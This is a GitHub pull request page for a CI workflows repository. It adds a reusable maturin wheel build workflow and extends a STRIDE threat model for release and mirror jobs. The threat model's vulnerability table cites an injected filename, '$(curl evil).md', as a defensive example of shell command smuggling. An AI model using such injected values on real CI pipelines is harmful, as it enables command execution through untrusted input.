Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
Show all changes
38 commits
Select commit Hold shift + click to select a range
c4f69f0
✨ feat(required-checks): add gate action
gaborbernat Nov 4, 2026
c44dde4
✨ feat(check): add reusable tox check workflow
gaborbernat Nov 4, 2026
1ad1d7b
✨ feat(codeql): make CodeQL a reusable workflow
gaborbernat Nov 4, 2026
3dc9f59
✨ feat(release-notes): add reusable workflow
gaborbernat Nov 4, 2026
9d81197
✨ feat(release): add GitHub Release workflow
gaborbernat Nov 4, 2026
cee3ac2
✨ feat(lock): expire nab cutoff exceptions
gaborbernat Nov 4, 2026
c04b45a
✨ feat(check-nab-exceptions): add the action
gaborbernat Nov 4, 2026
1e7448d
✨ feat(upgrade-release-tools): check exceptions
gaborbernat Nov 4, 2026
d667367
✨ feat(open-maintenance-pr): open PRs from patches
gaborbernat Nov 4, 2026
4d6fa37
✨ feat(update-python-dependencies): bump floors
gaborbernat Nov 4, 2026
c7ab297
♻️ refactor(tests): type workflow step helpers
gaborbernat Nov 4, 2026
685134d
✨ feat(update-python-dependencies): library kind
gaborbernat Nov 4, 2026
66d2d11
πŸ“ docs(threat-model): cover the maintenance writer
gaborbernat Nov 4, 2026
3cf26f6
✨ feat(build): add maturin wheel workflow
gaborbernat Nov 4, 2026
94dedb2
✨ feat(validate): accept an allowed-paths list
gaborbernat Nov 4, 2026
58890bf
✨ feat(release): add release-creator preparation
gaborbernat Nov 4, 2026
26c746f
✨ feat(jetbrains): add reusable plugin check
gaborbernat Nov 4, 2026
1b89ca5
✨ feat(jetbrains): stage Marketplace uploads
gaborbernat Nov 4, 2026
f1e213d
✨ feat(jetbrains): prepare post-release bump
gaborbernat Nov 4, 2026
e561a32
✨ feat(mirror): add pre-commit mirror workflow
gaborbernat Nov 4, 2026
7d021ab
✨ feat(latex): publish PDFs to GitHub Pages
gaborbernat Nov 4, 2026
31b3693
πŸ› fix(mirror): accept an already published version
gaborbernat Nov 4, 2026
cbc03f8
♻️ refactor(tests): type workflow test helpers
gaborbernat Nov 4, 2026
13452f2
πŸ“ docs(threat-model): cover gh-pages and tags
gaborbernat Nov 4, 2026
74c20d9
♻️ refactor(workflows): unify gates and inputs
gaborbernat Nov 4, 2026
41370c2
♻️ refactor(tests): share one workflow helper set
gaborbernat Nov 4, 2026
0106d3e
♻️ refactor(nab): simplify the cutoff checker
gaborbernat Nov 4, 2026
83fe55d
πŸ“ docs: align README, threat model and fragments
gaborbernat Nov 4, 2026
8a460f2
πŸ‘· ci(update): exempt fresh bump-deps-index
gaborbernat Nov 4, 2026
c5e2c96
πŸ‘· ci(workflows): drop duplicate checks and waits
gaborbernat Nov 4, 2026
4f8ce08
πŸ“ docs: match the trimmed maintenance flow
gaborbernat Nov 4, 2026
61c32fc
πŸ”’ fix(workflows): refuse untrusted caller events
gaborbernat Nov 4, 2026
a2c3dbe
πŸ“ docs: note the writer event refusal
gaborbernat Nov 4, 2026
dbd2e62
[pre-commit.ci] auto fixes from pre-commit.com hooks
pre-commit-ci[bot] Nov 4, 2026
8babc8c
πŸ› fix(mirror): commit and tag every new version
gaborbernat Nov 4, 2026
f786a9b
🎨 style(workflows): shfmt-format the refusal guard
gaborbernat Nov 4, 2026
d1127cd
βœ… test(mirror): expect the refusal guard first
gaborbernat Nov 4, 2026
ffb3ab8
πŸ› fix(mirror): name the pushed tags NEW_TAGS
gaborbernat Nov 4, 2026
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
42 changes: 25 additions & 17 deletions .github/THREAT_MODEL.md
Original file line number Diff line number Diff line change
Expand Up @@ -52,20 +52,24 @@ An attacker who controls any of these already has what github-workflows could gi

## Untrusted inputs

| Input | Comes from | What github-workflows guarantees |
| ----------------------------- | --------------------------- | ----------------------------------------------------------------------------------------------- |
| Pull request files | Any contributor | Read by read-only jobs only; inputs reach shells through environment variables. |
| Artifacts from read-only jobs | Jobs that ran project code | The writer accepts only the changelog and fragment deletions, as regular files, from the patch. |
| Files already on PyPI | A partial or earlier upload | Digests and attestations must match before the GitHub Release is published. |
| Input | Comes from | What github-workflows guarantees |
| ---------------------------------- | ------------------------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| Pull request files | Any contributor | Read by read-only jobs only; inputs reach shells through environment variables. |
| Artifacts from read-only jobs | Jobs that ran project code | The writer accepts only the changelog and fragment deletions, or the paths the caller's `allowed-paths` names, as regular files or deletions. |
| Files already on PyPI | A partial or earlier upload | Digests and attestations must match before the GitHub Release is published. |
| Repository hooks and LaTeX sources | The caller's repository, including pull requests | LaTeX and pre-commit hook code runs in jobs without a write token, except the mirror job, which refuses pull request and other untrusted caller events before it checks out the repository. |

## Threats and controls

| STRIDE | Threat | Control |
| ---------------------- | --------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------- |
| Tampering | A compromised build job smuggles a workflow change into the release commit. | `validate-release-patch` path and mode allowlist. |
| Elevation of privilege | PR code reads the release App token. | The token is minted only in the writer job, which runs no project code. |
| Tampering | A freshly published malicious tool version enters the release toolchain. | Hash-checked locks resolved with a seven-day upload cooldown, and the same cutoff for helper tools. |
| Repudiation | Release commits cannot be traced to an approved run. | Commits and tags are authored by the App from a recorded workflow run. |
| STRIDE | Threat | Control |
| ---------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------ | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| Tampering | A compromised build job smuggles a workflow change into the release commit. | `validate-release-patch` path and mode allowlist. |
| Tampering | A maintenance patch from a job that ran project code changes a path or mode outside the caller's allowlist, or replaces a reviewed maintenance branch. | `open-maintenance-pr` checks paths and modes in a read-only job, then verifies the digest of that patch before minting the App token. Each run force-pushes only its own branch with a lease, and the pull request still needs review. |
| Elevation of privilege | PR code reads the release App token. | The token is minted only in the writer job, which runs no project code and refuses pull request and other untrusted caller events before it checks out the repository. |
| Tampering | A freshly published malicious tool version enters the release toolchain. | Hash-checked locks resolved with a seven-day upload cooldown, and the same cutoff for helper tools. |
| Repudiation | Release commits cannot be traced to an approved run. | Commits and tags are authored by the App from a recorded workflow run. |
| Tampering | A pull request replaces the Pages PDF or moves a published mirror tag. | The deploy job runs only on `main` and is the only job with write permission. The mirror compares a published tag's tree, refuses different content, and pushes without force. |
| Elevation of privilege | Pull request hook code runs with the mirror job's write token. | The mirror job refuses `pull_request`, `pull_request_target`, `workflow_run`, `issue_comment`, and `merge_group` callers before it checks out the repository, so hook code from a pull request never runs with its write token. |

## Release chain

Expand All @@ -74,12 +78,14 @@ Callers pin the full commit SHA of a release.

## Vulnerability or bug

| Report | Verdict | Why |
| ----------------------------------------------------------- | ------------- | -------------------------------- |
| A fragment named `$(curl evil).md` runs in `validate-news` | Vulnerability | PR data reached a shell as code. |
| A release patch that edits `.github/workflows/` is accepted | Vulnerability | Allowlist bypass. |
| A caller runs the writer on `pull_request_target` | Not ours | Caller configuration. |
| A tool update waits seven days to land | Expected | The cooldown is deliberate. |
| Report | Verdict | Why |
| ------------------------------------------------------------------------------------------------------------------------ | ------------- | ------------------------------------------------------------- |
| A fragment named `$(curl evil).md` runs in `validate-news` | Vulnerability | PR data reached a shell as code. |
| A release patch that edits `.github/workflows/` is accepted | Vulnerability | Allowlist bypass. |
| A maintenance patch whose caller allowlist admits `.github/workflows/` is accepted | Not ours | The allowlist is caller configuration. |
| A release patch whose caller `allowed-paths` admits `.github/workflows/` is accepted | Not ours | The allowlist is caller configuration. |
| A writer job runs for a `pull_request`, `pull_request_target`, `workflow_run`, `issue_comment`, and `merge_group` caller | Vulnerability | Writer jobs refuse those events before any checkout or token. |
| A tool update waits seven days to land | Expected | The cooldown is deliberate. |

## Severity

Expand All @@ -92,6 +98,8 @@ Callers pin the full commit SHA of a release.
## Accepted risks

- The build job runs the project's own build backend; its outputs, not its behavior, are verified.
- The mirror job runs the caller's pre-commit hooks while it holds `contents: write`. It refuses pull request and other
untrusted caller events, so hooks run only for pushes, schedules, dispatches and releases.

## Keeping this current

Expand Down
207 changes: 207 additions & 0 deletions .github/workflows/build-maturin-wheels.yaml
Original file line number Diff line number Diff line change
@@ -0,0 +1,207 @@
name: Build maturin wheels
on:
workflow_call:
inputs:
package-name:
description: Distribution name that prefixes the artifact names, such as pyproject-fmt
required: true
type: string
package-path:
description: Directory holding the package's Cargo.toml and build backend, . for the repository root
default: "."
type: string
matrix:
description: JSON array of build entries with os, target, artifact, and optional python, manylinux, and args
required: true
type: string
sdist:
description: Build the sdist and upload it as the sdist artifact
default: true
type: boolean
release-build:
description: Build a release without sccache; any tag ref already does
default: false
type: boolean
pre-build-command:
description: Shell command run once before the wheels, in the repository root, such as a version bump
default: ""
type: string
post-build-command:
description: Shell command run in each wheel job after maturin, with the wheels in dist, such as vendoring
default: ""
type: string
exclude-newer:
description: Upload cutoff for the tools the shared Actions install from PyPI
default: 7 days
type: string
exclude-newer-package:
description: Newline-separated name=date cutoffs that override exclude-newer for single packages
default: ""
type: string
permissions: {}
jobs:
source:
name: 🏷️ Prepare source
runs-on: ubuntu-26.04
permissions:
contents: read
outputs:
artifact-id: ${{ steps.source.outputs.artifact-id }}
maturin-version: ${{ steps.maturin.outputs.version }}
release: ${{ inputs.release-build || startsWith(github.ref, 'refs/tags/') }}
source-date-epoch: ${{ steps.source-date-epoch.outputs.value }}
steps:
- name: πŸ“₯ Check out repository
uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
with:
fetch-depth: 0
persist-credentials: false
- name: 🐍 Install uv and Python
uses: astral-sh/setup-uv@07a047e608db84b3d8c06cd9a7c7dcc9c355c18e # v10.3.2
with:
version: latest-known
python-version: "3.15"
enable-cache: false
- name: πŸ“¦ Install locked release build tools
uses: $/install-locked-tools
with:
groups: release-build
venv: ${{ runner.temp }}/release-tools
exclude-newer: ${{ inputs.exclude-newer }}
exclude-newer-package: ${{ inputs.exclude-newer-package }}
- name: βš™οΈ Read locked maturin version
id: maturin
shell: bash
run: |
set -euo pipefail
version=$("$RUNNER_TEMP/release-tools/bin/maturin" --version)
printf 'version=v%s\n' "${version#maturin }" >>"$GITHUB_OUTPUT"
- name: βš™οΈ Read source timestamp
id: source-date-epoch
shell: bash
run: echo "value=$(git log -1 --format=%ct)" >>"$GITHUB_OUTPUT"
- name: 🏷️ Run pre-build command
if: ${{ inputs.pre-build-command != '' }}
shell: bash
env:
PRE_BUILD_COMMAND: ${{ inputs.pre-build-command }}
run: bash -c "$PRE_BUILD_COMMAND"
- name: πŸ“€ Upload source
id: source
uses: actions/upload-artifact@cf430e030ddbb5b0abf93d22962f4752f3646cd9 # v7.0.2
with:
name: ${{ inputs.package-name }}-source
path: |
.
!.git
compression-level: 9
retention-days: 1
if-no-files-found: error
build:
name: πŸ—οΈ ${{ matrix.artifact }}
needs: [source]
runs-on: ${{ matrix.os }}
permissions:
contents: read
env:
SOURCE_DATE_EPOCH: ${{ needs.source.outputs.source-date-epoch }}
strategy:
fail-fast: false
matrix:
include: ${{ fromJSON(inputs.matrix) }}
steps:
- name: πŸ“© Download source
id: download
background: true
uses: actions/download-artifact@9000827ccba6bdab643e8b6fd33ac0654aef8333 # v8.0.2
with:
artifact-ids: ${{ needs.source.outputs.artifact-id }}
- name: 🐍 Install uv and Python
uses: astral-sh/setup-uv@07a047e608db84b3d8c06cd9a7c7dcc9c355c18e # v10.3.2
env:
UV_VENV_SEED: "true"
with:
version: latest-known
python-version: "3.15"
enable-cache: false
activate-environment: true
- name: ⏳ Wait for source
wait: download
- name: πŸ—οΈ Build wheels
uses: PyO3/maturin-action@e83996d129638aa358a18fbd1dfb82f0b0fb5d3b # v1.51.0
with:
maturin-version: ${{ needs.source.outputs.maturin-version }}
target: ${{ matrix.target }}
args: >-
-m ${{ inputs.package-path }}/Cargo.toml --locked --release --out dist --target-dir target --interpreter ${{ matrix.python || '3.15' }} ${{ matrix.args }}
manylinux: ${{ matrix.manylinux || 'auto' }}
docker-options: --env SOURCE_DATE_EPOCH
sccache: ${{ needs.source.outputs.release != 'true' }}
- name: πŸ—οΈ Run post-build command
if: ${{ inputs.post-build-command != '' }}
shell: bash
env:
POST_BUILD_COMMAND: ${{ inputs.post-build-command }}
run: bash -c "$POST_BUILD_COMMAND"
- name: πŸ“€ Upload wheels
uses: actions/upload-artifact@cf430e030ddbb5b0abf93d22962f4752f3646cd9 # v7.0.2
with:
name: ${{ inputs.package-name }}-wheels-${{ matrix.artifact }}
path: dist
if-no-files-found: error
sdist:
name: πŸ—οΈ sdist
if: ${{ inputs.sdist }}
needs: [source]
runs-on: ubuntu-26.04
env:
SOURCE_DATE_EPOCH: ${{ needs.source.outputs.source-date-epoch }}
permissions:
contents: read
steps:
- name: πŸ“© Download source
id: download
background: true
uses: actions/download-artifact@9000827ccba6bdab643e8b6fd33ac0654aef8333 # v8.0.2
with:
artifact-ids: ${{ needs.source.outputs.artifact-id }}
- name: 🐍 Install uv and Python
uses: astral-sh/setup-uv@07a047e608db84b3d8c06cd9a7c7dcc9c355c18e # v10.3.2
with:
version: latest-known
python-version: "3.15"
enable-cache: false
- name: ⏳ Wait for source
wait: download
- name: πŸ“¦ Export locked build constraints
id: constraints
uses: $/export-build-constraints
with:
exclude-newer: ${{ inputs.exclude-newer }}
exclude-newer-package: ${{ inputs.exclude-newer-package }}
- name: πŸ—οΈ Build sdist
shell: bash
env:
BUILD_CONSTRAINTS: ${{ steps.constraints.outputs.path }}
PACKAGE_PATH: ${{ inputs.package-path }}
run: |
set -euo pipefail
uv build --sdist --out-dir dist --build-constraints "$BUILD_CONSTRAINTS" --require-build-hashes "$PACKAGE_PATH"
- name: πŸ“€ Upload sdist
uses: actions/upload-artifact@cf430e030ddbb5b0abf93d22962f4752f3646cd9 # v7.0.2
with:
name: ${{ inputs.package-name }}-wheels-sdist
path: dist
if-no-files-found: error
gate:
name: 🚦 Build distributions pass
if: ${{ !cancelled() }}
needs: [source, build, sdist]
runs-on: ubuntu-26.04
permissions: {}
steps:
- name: 🚦 Require all needed jobs to pass
uses: $/required-checks
with:
needs: ${{ toJSON(needs) }}
allow-skipped: sdist
Loading